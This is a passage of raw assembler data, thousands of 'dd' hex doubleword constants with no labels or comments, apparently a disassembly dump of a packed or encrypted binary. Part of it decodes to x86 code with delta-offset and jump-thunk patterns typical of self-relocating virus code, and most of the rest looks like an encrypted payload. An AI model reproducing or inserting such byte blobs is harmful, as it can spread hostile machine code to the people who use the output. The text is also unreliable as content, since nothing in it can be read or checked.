0CC54BDCAh, 48F69A61h, 0A121BA8Eh, 0C89F770Eh, 3AB8C36Ch dd 0B0F6AC7Ch, 32D37511h, 0C5DC5861h, 18875816h, 1FB890E5h dd 9D710B50h, 86CAA9CEh, 5FE7877Dh, 710B7CC2h, 0AA8ED24Eh dd 9369DA92h, 3B4Dh, 85F0EE00h, 0F0FB94B4h, 9A41770Eh dd 25D7730Fh, 9B7511FFh, 4B1A9CCCh, 1F4A02A3h, 0E00C89A1h dd 5E18710Bh, 5C4B3DBDh, 1077A4D4h, 0BAFE7A7Fh, 0BB7A8296h dd 0CB759369h, 86000000h, 2AA2432Ah, 0F3F8996Ch, 7A7F1075h dd 0C7E88F12h, 50553885h, 0F478EC3Ch, 13FA770Eh, 846BFE92h dd 0D1A64763h, 8D25A028h, 0EEC24BDh, 77CD9877h, 4D255017h dd 6A0E36BDh, 31460345h, 7D11884Eh, 0EE751078h, 0EAAD6703h dd 0A1BDAD74h, 9EAE0A92h, 75117A14h, 7E095F0Ah, 4DDD9513h dd 6F09023Fh, 0FD902EBDh, 5E189419h, 83C1EA8Fh, 0A783593Eh dd 7708C12Eh, 0D7B136DEh, 79C493B2h, 0D6B0FC46h, 0D00DDDE6h dd 98Bh, 0D2B637DAh, 4705AE4Fh, 0F1971CF2h, 6167886Ch dd 92F6FB9Ch, 0E0B1E510h, 5020B5DBh, 0C65439AFh, 33DAAF3Dh dd 387DEB2h, 632AE27h, 81621271h, 87835E01h, 0F620FBE0h dd 7982177Ah, 0CEEF866Bh, 85F0D99Ah, 0D9BA4B67h, 29A34428h dd 1580D1BCh, 0DF19962Eh, 0D08AC4A0h, 2C25CD0Fh, 49274784h dd 113FCF61h, 0CE9E4D75h, 21BA8E48h, 9F710B1Fh, 0BF5C6CC8h dd 4D710B1Fh, 3FE083D7h, 0D7BE85EDh, 6A3F81D6h, 0ADB7FC78h dd 0AA9369F0h, 0B7h, 0A2432AD5h, 9B2472Ah, 0B1FD95Fh, 770EF092h dd 0ADFD7BEEh, 770EF439h, 961BFD90h, 1FA0771Ah, 0EC11E449h dd 555E33D2h, 0B2DA5633h, 526C8AF5h, 11FD6CF6h, 6B07D275h dd 1E198DA8h, 53294086h, 53DE813Fh, 88012961h, 0F4710B16h dd 50F45061h, 4EC7631Fh, 0B2710BA5h, 93FE4927h, 0D0CD5D15h dd 2C6F0940h, 8B6C01B9h, 94F4FD9Eh, 93666AF1h, 9ABAF5FEh dd 67E6D679h, 87D4A87h, 45D40000h, 0BC592CA0h, 2ACC5137h dd 967EC381h, 9EE7311h, 0D706ECE0h, 87C5EE83h, 0B595E32h dd 0B92FD4A6h, 28BC41D4h, 0A0391189h, 1C710631h, 452A8F6Ch dd 0B24528BCh, 2A245F0Dh, 0DB25A43h, 29A30E5Bh, 26F4B144h dd 0CB9ECB9Dh, 51378223h, 354D6B16h, 79D3815h, 0C5A90475h dd 33C5A820h, 1A54238Eh, 13FBA44Bh, 6A62836Ah, 4705907Fh dd 6358EB7h, 4FDB9571h, 710634D6h, 3464FD4Dh, 0DD87106h dd 5EE94712h, 89D0B434h, 5425C8B1h, 1B66D1AFh, 8F45E59Dh dd 0D6F094Dh, 4B09235Eh, 4E07BBCFh, 0B6D5DEBFh, 0DE8BDDE2h dd 0CAAD562h, 0A4F0D672h, 484EE14Eh, 4EA467E0h, 1CFED5E1h dd 590F597h, 0EE992EBEh, 8AE5B6F0h, 42C1E702h, 0EE757A12h dd 0A3F45412h, 19DF4CA4h, 0D2633472h, 7539534Fh, 0EEA8E642h dd 0E87B1434h, 0E2C1E348h, 0E0E5E70Ch, 54CD5D15h, 0A8E348E8h dd 4B22473Dh, 99790CAAh, 4AF49814h, 0AA1CD7BBh, 0DF970BB9h dd 4A1F49D4h, 0F3F49BEEh, 165FA6B0h, 4E836B75h, 75Bh, 246670Ah dd 0B7D5DEBFh, 21A74C22h, 5137B85Ch, 0C2862BCCh, 10E1B560h dd 8010E5EBh, 0F684697Fh, 630A9FCDh, 33770E42h, 62F7E17h dd 0B132C271h, 4B6785F0h, 79D22FFh, 2F4B1E75h, 7A34BD5Eh dd 0EEFD06EBh, 0E3E6E607h, 0FF9C6105h, 81BBCFAh, 6DA76967h dd 52C4A400h, 2E86C381h, 8FC29D6Bh, 0C287C1EAh, 4B6C0366h dd 0D8C13428h, 0CC01E9E0h, 6E7h, 0B6DADBBEh, 3BA95223h dd 553BC056h, 0C58B2CC0h, 761A9F70h, 841541FCh, 0F484697Fh dd 6A089DF3h, 0D7BE0341h, 0A7E3B2D6h, 6300A83h, 25C67671h dd 4B6785F0h, 79D22FFh, 0DFB31E75h, 20088EDEh, 710634A7h dd 6CFB4615h, 23DCB352h, 0A421AB4Ch, 92FC8BD9h, 47F45412h dd 0D2710634h, 0E1748001h, 0F470FB77h, 0DB31C4DDh, 215386B2h dd 6CEA325Ah, 0BA7106C9h, 3E465286h, 65936527h, 9DCFF080h dd 756E6CC8h, 89000000h, 67886C01h, 60688D60h, 56208F65h dd 8B301856h, 8E770EF0h, 0F29A1BFFh, 0AD381997h, 89A15B15h dd 770EF110h, 36AFF96Ch, 8A770EF0h, 0E10961DFh, 770EF064h dd 94F4F99Ch, 9436809h, 9C3E6242h, 8C6235F5h, 1F82E5BAh dd 276B4F25h, 0F8D0A144h, 0E13B750h, 0CB560577h, 713E466Dh dd 1139996Ch, 0BA000000h, 1C95Ah, 0C6621C00h, 770EF04Dh dd 0CB4824B3h, 0E5901AEEh, 38DAABC7h, 4800A94Bh, 0B3D6B61Dh dd 0F9AF7B35h, 0B7751208h, 50A38520h, 5ED5A65Ah, 2DFDB533h dd 0CB688967h, 317616C5h, 7F0EA846h, 0DC9A1697h, 4AD4322h dd 83AB0144h, 0C5623652h, 0C25BEFA9h, 3ECD6215h, 61F4CDABh dd 2CD1A449h, 0BD42D5B8h, 7C440002h, 2C21C94Fh, 58Bh, 0D2B637DAh dd 4705AE4Fh, 0F1971CF2h, 6167886Ch, 92F6FB9Ch, 0E0B1E510h dd 5020B5DBh, 0C65439AFh, 33DAAF3Dh, 387DEB2h, 62EAE27h dd 81621271h, 2AA2432Ah, 2E53AB6Ch, 0A06AC352h, 0FF80CF29h dd 0A90776ACh, 3D75731Eh, 0E861C983h, 54770E20h, 88179C79h dd 1DAE1C2Ch, 0EAAC7511h, 0B1DC55Eh, 0C1AC3B71h, 56573E83h dd 0D34C151Fh, 0CF02EAE0h, 517h, 460AAB4Eh, 0CB9922F3h dd 656B9066h, 95FBFC90h, 64A6F00h, 542571ACh, 0C45439AFh dd 3AD8AD23h, 0A74ED3B1h, 77334206h, 62D3AD3h, 75F68671h dd 2AA2432Ah, 5D0FB047h, 480256CEh, 0D24C00A5h, 30586133h dd 491F0455h, 2BBA8088h, 0A95E664Dh, 4D19996Ch, 9A000000h dd 4B6785F0h, 0DA73D791h, 26770EF0h, 131535B3h, 29751215h dd 904A04A2h, 0BCC1FB8h, 0DECE9D71h, 710BCC45h, 38502CBBh dd 0BCC7310h, 3EEB8D71h, 52375156h, 583885C7h, 0B08C3557h dd 9D83D26Ch, 2E556F49h, 4712936Ah, 0AD000000h, 0F79F85F0h dd 9CF396F6h, 0F396F6FBh, 4DFE4A64h, 0C37511ABh, 0EA8B5A14h dd 0A39D3612h, 74E3710Bh, 0B553FBE9h, 4F710BA3h, 0FC4107A8h dd 44F29A1Fh, 0A325BE8Ah, 0CC9B710Bh, 4356D70h, 0B0550000h dd 0D5B0D8DDh, 6C01E45Fh, 228D6B8Ch, 9215957h, 7512089Bh dd 1C9AF299h, 0C84DC662h, 24B3710Bh, 0AD522548h, 56CF5B15h dd 0AA710BC8h, 6029413Fh, 0BF40D7B6h, 9B2402Dh, 0C1BF0A5Fh dd 404BA9FDh, 0B62404A2h, 646F0EE0h, 44D4B9F1h, 0C0BC29A3h dd 0B136D9ACh, 0C7E590D7h, 0F6419FABh, 0A83F7511h, 5579BB20h dd 17757A1Dh, 0F38F2D58h, 0EF96D57h, 4404D36Fh, 0F79116F9h dd 6963886Ah, 99F3F484h, 0B2920B1Fh, 7BEE770Eh, 2C6EB2F2h dd 0A331655Fh, 8C9CDAD8h, 7511D6C2h, 0B12AFEB8h, 0F710BD5h dd 5D623558h, 9DF35E0Bh, 0B7936508h, 710BD61Eh, 6068F762h dd 95F7FC9Dh, 0F39B6A2Ch, 71CF9AF2h, 0AE41194Dh, 0FF4B1DF1h dd 710BD566h, 28A00FDAh, 0F5B2D6BDh, 0B3526C8Ah, 0D5B0D8E1h dd 0CB09215Fh, 0CE6F0EDAh, 0D450593Fh, 8F506EFDh, 0B303BDA2h dd 0FAAC329Ah, 84E06A0Fh, 0B01D6DCBh, 0CBB0D8DDh, 4C37A5E9h dd 0DA3810AEh, 3F75117Dh, 8D2CA585h, 0C590710Bh dd 73C9EE86h, 7CC18752h, 0E9741499h, 0C4E3E106h, 0C57F3BB9h dd 9E723512h, 6CC8CFA1h, 0E39865Ch, 0C5A9046Fh, 28B738D8h dd 66E30B5Dh, 0A2770E19h, 364E2A7Eh, 31996C77h, 37h, 6785F042h dd 1CFC914Bh, 7B0D1D9Bh, 0F17511FFh, 3DDA626Ah, 0CB710BDFh dd 0D170155h, 96936A41h, 8D0622DCh, 0F3710BD3h, 0D3AB2464h dd 4A11710Bh, 0E0ECEEh, 2A0F0000h, 472AA243h, 0D95F09B2h dd 0F0920B1Fh, 7BEE770Eh, 0E005E8FDh, 4D7205E8h, 43E7A11Fh dd 770EF0CAh, 0E5C5A336h, 770EF471h, 0CFEB0CE3h, 0CDB0640Ch dd 5A3E67ADh, 0CB563355h, 0E1B4196Dh, 90FB8CDCh, 0E1B15412h dd 63D98CDCh, 0F3F70525h, 0F6657511h, 0F4AAD592h, 9BCE9E23h dd 0C1D6720Ch, 7F6F0967h, 810DCEE8h, 6B92E084h, 402563D9h dd 0D8460AAFh, 0E5E6335h, 0A12BCCA3h, 8EE35924h, 0D1A1C0E9h dd 82E6D6CBh, 22177EAh, 0A1700000h, 18E5481Ch, 8668FD93h dd 0F29A6F7Dh, 650A9FCDh, 7BBA085Ch, 23A14A2Fh, 5735BA5Eh dd 0C58B30C2h, 74189D70h, 44DD6D2Dh, 0B871062Ah, 452A6B08h dd 0B46E28BCh, 0EF0FB94h, 19133F77h, 3A3E9372h, 9DF04C1Bh dd 28BDF5FAh, 31BA5B44h, 0C9A73257h, 6C013EA5h, 67626A8Fh dd 55533E89h, 0FF7B0D1Dh, 6AF17511h, 0DF3DDA62h, 23F7710Bh dd 0DF60F951h, 9DC710Bh, 0B5472AA2h, 4EDA5C0Ch, 710BDFD5h dd 370DBC2Bh, 1C0053E3h, 40D4E8C8h, 0E093936Ah, 0E9000000h dd 0E657D36h, 68C4B8ADh, 0A2432AEBh, 0FC996C2Ah, 0F08B0424h dd 6AF1770Eh, 1C98CD9Fh, 78D0A849h, 770EF0DFh, 0A9238E5Dh dd 0EF50D81h, 0D3B26C77h, 0BA2FB942h, 0EECF992h, 86684777h dd 771A967Dh, 0E4491FA0h, 0CBFCEC11h, 0E18422C0h, 500EEA0Fh dd 1209CAF8h, 0FA4E4875h, 710BC961h, 2FBD08DFh, 0BBF7F580h dd 618A6C01h, 648DA38Bh, 960B6F09h, 307861EBh, 0D2EC7B27h dd 6E090301h, 0E7EAF6C3h, 0EAFFE912h, 0DCBD500Eh, 0E6AB2404h dd 4A117708h, 7304E9FFh, 9551374Eh, 7616E6D6h, 0EA9Bh dd 0D7D8BB00h, 0AA4F2CB1h, 34BD5326h, 8429CD50h, 179C7DC0h dd 1644F371h, 81147881h, 3598CCF1h, 0BB0E4267h, 0E4BDD3D4h dd 2A0D86A2h, 0C1737106h, 8A6C0122h, 11E68B61h, 7E11E4E8h dd 2A686B79h, 6C2AA243h, 0EC4785ABh, 0F1829C77h, 7EC580C8h dd 3408EF82h, 0AE3EC351h, 7178113Bh, 11C4770Eh, 7B19EC8Ah dd 2E731676h, 6FDD89DCh, 40248013h, 205E5C27h, 6B3BF08h dd 0BE2EBD75h, 0FC713CD3h, 61D915BCh, 0EA71761Ah, 11E4491Fh dd 967D8614h, 1AEB2EF6h, 6D2D1D85h, 99F3F498h, 0F15C6134h dd 5B13477Bh, 0C85D33B4h, 95805325h, 0C1341669h, 0B4D44D5Fh dd 6E280580h, 80B441DAh, 5D28BF05h, 4D2096F6h, 34606ABh dd 8B2CC0A5h, 8D7A1EEFh, 6A79C4E9h, 0E6866283h, 0DB93C7FDh dd 48DDB334h, 954800A5h, 3, 2A800328h, 5B26A647h, 0F45933B4h dd 66CB9D26h, 967B6D92h, 0D90F801h, 0B805476Ch, 0D4B9D3D4h dd 422FB942h, 0B4008B1h, 81E38953h, 4C3h, 4EB8100h, 87000000h dd 895C241Ch, 9D68241Ch, 8900007Fh, 0DB68243Ch, 8900000Fh dd 0B8502404h, 790842A7h, 1E35E8D1h, 0F758EA54h, 404625D0h dd 0AB0560AAh, 890588BDh, 24048BC7h, 4C481h, 23680000h dd 89000007h, 4832424h, 52580424h, 8BAh, 89C20100h, 24148B3Ah dd 4C481h, 34FF0000h, 0C4815824h, 4, 57243C8Bh, 0C781E789h dd 4, 4C781h, 3C870000h, 36E95C24h, 0FFFAB4h, 0B841A007h dd 608C8A0h, 0E0FFC503h, 660D9F89h, 4AD6A094h, 1C656114h dd 840D227h, 62435719h, 3AEA7C98h, 3034AFAEh, 407B24A7h dd 34F43EF0h, 341A7AEh, 24EBh, 8 dup(0) dd 0BDE90000h, 89000000h, 8C966B5h, 91858B06h, 8B06031Eh dd 3001D85h, 0B0B58D06h, 8D0608C9h, 64BD485h, 0C3D0FF06h dd 0E855h, 815D0000h, 8C9B6EDh, 91BD8306h, 106031Eh, 2C850Fh dd 0B5FF0000h, 608C966h, 1D858Bh, 36350603h, 0FF348127h dd 0F013CD0h, 0A85h, 1B800h, 47E90000h, 33000000h, 40E9C0h dd 1C6A0000h, 0C96AB58Dh, 0FF560608h, 8C966B5h, 1D858B06h dd 35060300h, 34812736h, 0C483D0FFh, 6AB58D0Ch, 8B0608C9h dd 0E0831446h, 4F88304h, 7840Fh, 0C0330000h, 5E9h, 1B800h dd 0BD830000h, 6031E91h, 7850F01h, 5D000000h, 2E9C3h, 0CF5D0000h dd 0C98F858Dh, 85890608h, 6032529h, 10E8h, 66A88B00h, 23A428BBh dd 0AEA0AE7Bh, 0D678F6BFh, 12E840h, 3EA0000h, 603BB5D5h dd 0C5C3B4CAh, 5A14893Fh, 7A1C2D6Bh, 6E8h, 0CCB41D00h dd 0BFCBD04Fh, 45BC2F2Dh, 0F55A585Bh, 6F2DC281h, 0EE90000h dd 7F000000h, 44D4D012h, 59C32830h, 5095EF25h, 686Eh, 665E0000h dd 919DB81h, 0F320C8Bh, 785h, 18E0F00h, 0FC000000h, 0ECE5C181h dd 8E82F61h, 5E000000h, 0F51DEFFh, 66C96D77h, 5B0792B8h dd 925AF181h, 8B66072Ah, 32C181D8h, 6649AA35h, 518E78BBh dd 9830Fh, 8E0F0000h, 3, 8FFEB70Fh, 0EF803204h, 0DF8B66D6h dd 4E02EE83h, 0E081664Eh, 0FE81F74Eh, 0FFFF91A0h, 0FF96850Fh dd 8151FFFFh, 0F052D3F7h, 8D8D5F09h, 608CBF7h, 9E8h, 0A0A30D00h dd 50AB588Dh, 9D8B4BA4h, 6031289h, 0D18D8958h, 0F9060331h dd 0CF5AB866h, 1E185C7h, 5BD00603h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0FF6556C3h dd 0E94A85DFh, 0BD8907D6h, 6032559h, 0D5B53160h, 61060329h dd 12E9h, 8B456900h, 0EF79AEF2h, 9EC10299h, 0F1986244h dd 0C7DA1DA7h, 321BD85h, 6, 198D2900h, 0FF060322h, 32961B5h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 992347Ch, 325D98Dh, 9195FF06h, 80060326h dd 858B87F4h, 6032361h, 95FF006Ah, 6031FB9h, 7DEBC08Bh dd 4B2A4BA5h, 0C56CA861h, 0F0C11C42h, 0B37E9BB8h, 26E52CDh dd 0DC47DD90h, 0EE6D5AEEh, 0B63847B9h, 717E6914h, 96037DE3h dd 1B621941h, 9DF6CAAAh, 8A8F1724h, 37766282h, 89FED335h dd 991FE9E5h, 5D18B0D2h, 1ADE068Eh, 0F242CBE6h, 7B31DEDFh dd 305DD2B4h, 40211A2Bh, 5027585h, 0C679E74Eh, 8AF0A31Dh dd 65CCAA8Dh, 0CBC9E4CDh, 90E1C10Fh, 0DFB64522h, 702072B2h dd 0AE43861Fh, 0FE818h, 0CD500000h, 923343A1h, 0B51242ABh dd 6A4EDE12h, 0D6D68017h, 15C18159h, 0B6000063h, 685Fh dd 0F08B0000h, 99853158h, 8B060312h, 0BD89013Ch, 6031275h dd 1352F781h, 8B562C4Ch, 304759Dh, 0F7815A06h, 12BAA44Bh dd 81F7B70Fh, 3E93A9EFh, 4D9D3339h, 5706032Ah, 48FD08Bh dd 0F18B6601h, 7E9h, 0AD12EA00h, 0D77C8B4Fh, 8904E883h dd 311B59Dh, 9CF88106h, 0FFFFF9Dh, 1385h, 0E5BD8900h, 0E9060313h dd 2Bh, 0D316A3DBh, 0C84554D1h, 0BE9h, 7C6CB100h, 0AC58F826h dd 0DAF21F3Ch, 0FFFF82E9h, 43A5E3FFh, 4F6DF597h, 6DBE944Bh dd 0EBAC290Ah, 0E6D88C08h, 4000002Fh, 0CA0E902h, 0D0680000h dd 0E90608CEh, 0FFFB7510h, 8CFC868h, 7506E906h, 4B68FFFBh dd 0E90608D1h, 0FFFB74FCh, 8D21F68h, 74F2E906h, 0DC68FFFBh dd 0E90608D2h, 0FFFB74E8h, 8D4ED68h, 74DEE906h, 8D68FFFBh dd 0E90608D5h, 0FFFB74D4h, 8D6E768h, 74CAE906h, 1668FFFBh dd 0E90608D8h, 0FFFB74C0h, 42D07E99h, 0F2600A2Ch, 6CFE98BCh dd 92802E4Eh, 0D1FB7DCh, 5B78E139h, 0EB0BA9BBh, 7EA7C557h dd 153076E4h, 40DDE775h, 0A94D7961h, 0FCF787A1h, 1F3AE005h dd 0F8378444h, 7B0E1775h, 0F7825D78h, 0FC72F123h, 95B07207h dd 543067F5h, 31F0D376h, 5BADA4F1h, 33BBDADBh, 0FA1A2F0h dd 802AF450h, 0F9AE9833h, 47h, 0D3107482h, 3276BFCEh, 0E7F3D210h dd 11A7A114h, 421E1A1h, 0E991B5E9h, 5EE851Ch, 8A0AADA4h dd 37D3F7AFh, 6003F6B6h, 0A2254501h, 42DA79A1h, 97FAF6A0h dd 0D06FAEh, 8B2A0000h, 92AC5E18h, 98B97B71h, 58E0FFAh dd 0FBBB3AE0h, 0FBBB3ADCh, 9EBD3CDEh, 5B5A0424h, 0B3D66C19h dd 82000517h, 0C67C268h, 0A7A1805Ah, 9609FCA4h, 0A7A1858Bh dd 391CBEDBh, 20196866h, 0AF5A1771h, 66042147h, 54325667h dd 0C55B9EF1h, 0D1ECADA4h, 7312B8DDh, 0A1A2F467h, 46632191h dd 966325A4h, 0A3908232h, 742E0BE7h, 6DDA852h, 2E2748EBh dd 2D1B143Dh, 781EF958h, 3AFAABA4h, 0E680A71Fh, 75113674h dd 0C44F1665h, 756CE528h, 0A76h, 1E0CB2D5h, 8E9C3E58h dd 382ACCE8h, 0AEBC627Ah, 0D94BEB08h, 8FB4ADCDh, 1F4765F7h dd 0B2D39183h, 496C0210h, 34E1B3A1h, 0A94E0D5Dh, 0C8A3CBA1h dd 2A38DE05h, 0F092B3F3h, 0EE8CA905h, 1074077Ch, 0B4741630h dd 4BDB7A91h, 3A83C5F9h, 0DFF26D18h, 79ADA4A3h, 2D5938B9h dd 11A1A2C3h, 9E489A72h, 7AE985Ch, 0E3h, 420629Ch, 0FA1F9762h dd 0F61D5150h, 9BB9F550h, 7504DAFBh, 10880B3Ch, 346B0A65h dd 19A7A1F1h, 2FDA80A5h, 6DC87297h, 75741231h, 0FEBC4633h dd 8DBE3FDBh, 6E082F09h, 366C8BAEh, 33757412h, 0F92BBF16h dd 6DD5A7A1h, 0E1C23998h, 66DEADA4h, 0E7C3C7F4h, 84264042h dd 9BB64305h, 0A4BE3238h, 0B609D4ABh, 0ABA8BD20h, 83A666DEh dd 4041E503h, 0E4DE7500h, 103527BFh, 0BDCC9AF5h, 8A0AABA8h dd 862047FFh, 0C4932F16h, 1A05FC28h, 97Eh, 1604AACDh, 86943650h dd 3022C4E0h, 0A6B45A72h, 0D143E300h, 87ACB5C5h, 173F7DEFh dd 0AACBE97Bh, 41641A08h, 2CE98B99h, 0A94F0555h, 0D0ABF3A1h dd 425DDE05h, 0A7A18014h, 0D77232E2h, 1D74BDDFh, 0A7A1804Dh dd 4A4B0B8Bh, 8D4DED08h, 31546AF8h, 5DC9B89h, 0FBBB3AE0h dd 0EF2E3CDEh, 6B93B454h, 0F716B74Bh, 6C7A553Ah, 0EAA7A1D9h dd 569F6A2Ah, 9EF15432h, 0ADA4C517h, 82C0C171h, 2C66C367h dd 4A986D05h, 68691134h, 9333514Dh, 0D7446FE6h, 0A8CE28E4h dd 0B1CB8B0Ah, 6E2B4F0Dh, 149FC809h, 18995953h, 0A10EEEB3h dd 2897750Ah, 0B9FF6D0Dh, 9CFFFE9Ch, 2AE8B9D5h, 0FB28A09h dd 812542EAh, 0A5804000h, 0E16BD70Ah, 79DCFC77h, 0E83F7066h dd 63168E2Ah, 12B8DD93h, 3FFDF093h, 791A2AE8h, 50B85BE3h dd 8EC28464h, 71942EDBh, 27425BC9h, 0E8CD1A4Ch, 493CE42Ah dd 0AB2AD0F5h, 520FE9Ah, 0F78FB4EEh, 0CE588302h, 4BC20EDh dd 89652116h, 0D00AD5ACh, 0EC873EE8h, 0AD140680h, 0F34F6F4h dd 43367677h, 963057CDh, 0B0955517h, 0B534DAF2h, 0C6F06F3h dd 3EEE2F45h, 0A446A67Dh, 1B4BF4F2h, 4B06Bh, 47627000h dd 0ED8C264Fh, 0A7A180FDh, 77EE9B1Bh, 0A7A18063h, 0A190DA90h dd 1D3975A7h, 2509887Dh, 5EA7A194h, 0A7A19414h, 280DE9ADh dd 0A4888E49h, 0DACA4AADh, 22BE8685h, 0FBC4DF92h, 4E000007h dd 0DD93812Dh, 6D0311B9h, 0FFBDAF47h, 8D2331DDh, 4A52C066h dd 6C0A2932h, 0F89AB8FEh, 952D546Ah, 26C4E187h, 0D0B36A34h dd 0A1A95186h, 5532870h, 8ABB3AE0h, 0BA15300Eh, 0ADAA4EFBh dd 280A51Dh, 0E4E4FE3h, 0F7822C4Ch, 0A2FC476Fh, 922D08E6h dd 0D5421D5Eh, 0C4DF7A7Eh, 0A1A96D92h, 0AC1B46Ch, 0F48EB7EFh dd 87721036h, 0AC5D8D0Ch, 0E88BA6ABh, 6DC0CFACh, 637716F3h dd 9DABAD81h, 44FC5025h, 0EE84ADE1h, 7D8ADEFh, 0E280A61Ch dd 0BCEBBC17h, 4E4A5B0Eh, 2FFAD570h, 0A916C99Ah, 0BFDBE8E9h dd 0DE6F46E3h, 7A6CD4D8h, 0F9F89AB8h, 0F8F9A1C5h, 1D38F8B8h dd 43E684A1h, 0C1783BA0h, 793B0896h, 3AC8BD5Dh, 29B96184h dd 0E42EBA80h, 27CBD28Fh, 1A000007h, 0A9CF5D01h, 397FED8Dh dd 0CBE97B1Bh, 591F0DB1h, 0BE8E9C3Ah, 38DE055Eh, 0D46E942Ah dd 61012046h, 0F298BDF3h, 0ECC75E60h, 0A1A952FAh, 747F7404h dd 73133010h, 53703272h, 0B27232B3h, 9C753C97h, 2F97ADA4h dd 832F6B0Ah, 0A89E1379h, 0C5E0A2DDh, 6A0FA425h, 5C3A5E92h dd 922FE6F9h, 0AC49ABA7h, 0A7A985D5h, 3C373ABh, 0A97A7011h dd 0C991ABA7h, 68ABA7A9h, 822C4C2Ch, 65834103h, 4D2401C1h dd 0A1AC67CAh, 1477762Eh, 0B5AF7747h, 0F89EBAF8h, 5332C7F9h dd 0B5AF771Ah, 42F4B5D0h, 7275AEEh, 0ECF6A711h, 49C903CDh dd 6B8796ADh, 4C4844Dh, 0C9DCCF94h, 0BAA55C2Eh, 66Ah, 210BED9h dd 0B2A04A6Ch, 2C3ED8FCh, 52C06E8Eh, 0CD5FF71Ch, 9BB8A1F9h dd 2B4B69FBh, 0BEE78597h, 55703624h, 1DA7B5h, 0A95239A1h dd 3CB7C7A1h, 17321074h, 0AA4EFDBCh, 29BF56ADh, 6E785B61h dd 0E8A1A97Bh, 6FCB8928h, 5A9956E1h, 8343126Eh, 87A212F6h dd 0D7C5BDECh, 597377BCh, 0B47434B5h, 6C8BAEC1h, 0A9F44515h dd 0D0769DA1h, 43F39FD1h, 33D9FCB6h, 31737214h, 0D7BCE371h dd 86DDF8F9h, 0A9F4BB2Fh, 28DD45A1h, 59CB6F8Ah, 5D5CFE1Bh dd 5F5EFC19h, 0C8BFF81Fh, 0C883CE9h, 9EDCDD9Dh, 7ED1D07Eh dd 8FA48EBCh, 0E1A674EDh, 51F4A60Bh, 460F5B3Ah, 0A8C9A1A9h dd 0D242C6AAh, 0C2B777AEh, 2363AB81h, 24646509h, 12B8DD51h dd 4A691D00h, 97D2AE93h, 0E9000001h, 17321074h, 0A483A5BCh dd 92B4EEADh, 0C2B7E9E8h, 0B4D7D64Eh, 0A1A2833Ch, 8149A3E0h dd 7E1C2AEEh, 0A9CE0143h, 316C4D0Dh, 89C87B9Fh, 1F7BA85Dh dd 548FE643h, 0B0ABA751h, 4E21EA02h, 0ABA75418h, 7F7E3EE6h dd 0BDD87D3Dh, 0A754B422h, 27D242ABh, 9EC4FEDFh, 0A228504h dd 6ECC0E87h, 0E24035F5h, 8C0623C7h, 0BA35C06Ah, 3D58DDF8h dd 0A74534A2h, 0B352C2ABh, 0ABA74527h, 87A361D1h, 0E2A2E2E3h dd 6B474370h, 5434F7CEh, 0D040A1A2h, 5534BED1h, 4B08B5A8h dd 0CE8531F1h, 47FEA291h, 0DB000000h, 0E6F9CF38h, 458425C1h dd 229B6E67h, 63032062h, 1AF5C362h, 0AAF7157Bh, 0B2D61FEAh dd 5313AFD6h, 0B4F09FF6h, 0A41CADA4h, 0B6084225h, 9F34A1A2h dd 69B96DBDh, 1837AE98h, 0A2C2D1B9h, 82772FA1h, 9452h dd 0E0056900h, 0DCFBBB3Ah, 0DEFBBB3Ah, 0DCF9BD3Ch, 76AD2C3Eh dd 0BCA7A185h, 2A63F199h, 0DEAB4B68h, 0B0957115h, 0B332D8F2h dd 0F6C904F1h, 0ADA72BFAh, 0B5F364Dh, 0F5A1A433h, 6CD4B84Dh dd 17AFD5C9h, 0C8EFA762h, 597E3C2Eh, 9902DBDh, 0E29F22C1h dd 459FBh, 2FCFE800h, 0BF5B7F3Dh, 4DE90FADh, 0DF7F99DFh dd 6E082F4Dh, 0CB90E8FCh, 5A180AACh, 0F6B4A63Ch, 832133CFh dd 0C56C466h, 5428BE11h, 86D6A1A9h, 38DE052Dh, 0C971942Ah dd 6816366Ch, 0B0423769h, 2EC362CBh, 87D3B288h, 71A7A10Bh dd 3A63E0C1h, 4AF00AC8h, 38E207BFh, 3AE005B9h, 0AC26B328h dd 47A7A200h, 0A7A1000Fh, 51F4D2B6h, 0AACEBF7Eh, 5859D9ADh dd 4C6C267Dh, 0CD97C3A2h, 0B161A1A8h, 9F7B1FC4h, 6EE21BBAh dd 7C8FA3DAh, 50735289h, 0E4ABAD02h, 301BAC3Ch, 69E828C8h dd 3B96Eh, 0CF6F8800h, 5FFB1F5Dh, 0ED89AFCDh, 7F1F397Fh dd 0EA8CFEDh, 6BF0081Ch, 0FAB8AA4Ch, 96D446DCh, 2341D36Fh dd 0ACF66406h, 55481E71h, 0E6B6A1A9h, 3AE0058Dh, 4269CBBh dd 50256766h, 3613B7D2h, 802EB81Bh, 6828A7A1h, 4642719Dh dd 33F2CD68h, 45ADA490h, 425D78DDh, 0A1A29114h, 2C4732E2h dd 0C793F209h, 78A1A291h, 0A2917119h, 7B178FA1h, 1F57CEBBh dd 23A1A291h, 0AC5E886Ch, 0AE9892h, 34B7E861h, 0A26C0D5Dh dd 6A4BCBA1h, 0F782D50Dh, 394Dh, 10745600h, 11BC1732h dd 33ADA491h, 288BA683h, 0A1A292BEh, 522DD858h, 0A292BB33h dd 6CC887A1h, 2ED0E8AAh, 0E518EDAFh, 0AE988D31h, 0EFAAh dd 0F376F00h, 0F7B75771h, 0C3629902h, 0AFA924AFh, 5DD1A4BAh dd 53139238h, 0CA9CF734h, 34A7A189h, 89CDCC8Ch, 8FCFCE6Ch dd 3F52C06Ah, 0A7A18CE0h, 67812742h, 0C686C6C7h, 7B5A7154h dd 0A7A18E6Fh, 0E65C29E9h, 83A627C3h, 4140E203h, 8E5F0B6Ah dd 0F9B9A7A1h, 3874C39h, 0B8A30227h, 5CADA4AAh, 454176E4h dd 0EDAD516Bh, 55712D48h, 0D41C0B5h, 0EBABA403h, 977AC1CAh dd 0BD7D1638h, 59FD1A98h, 98EB5CBh, 14532379h, 8919D9B3h dd 28C3A708h, 5F435A17h, 0E2000002h, 713725C9h, 1A7B555h dd 93D143E3h, 2147D579h, 0E6F66402h, 0A6CD96h, 9C365C12h dd 29C9E88Eh, 0BA60853Bh, 0B40F16A8h, 0A1A95622h, 5378CDCh dd 0B9DAD9DEh, 9B3405Eh, 0C0C2DB49h, 0BD7104A6h, 0F81F9798h dd 0A92BBF5Eh, 6DD5A7A1h, 0C79EBFADh, 267050FCh, 61DAAF27h dd 7668C362h, 77E5FEECh, 0EAEB93B5h, 7216DFAAh, 0B3DEB194h dd 14ADA447h, 25D07E9Eh, 9FFEFFA7h, 0A1A267D7h, 16D034EBh dd 0AE97B864h, 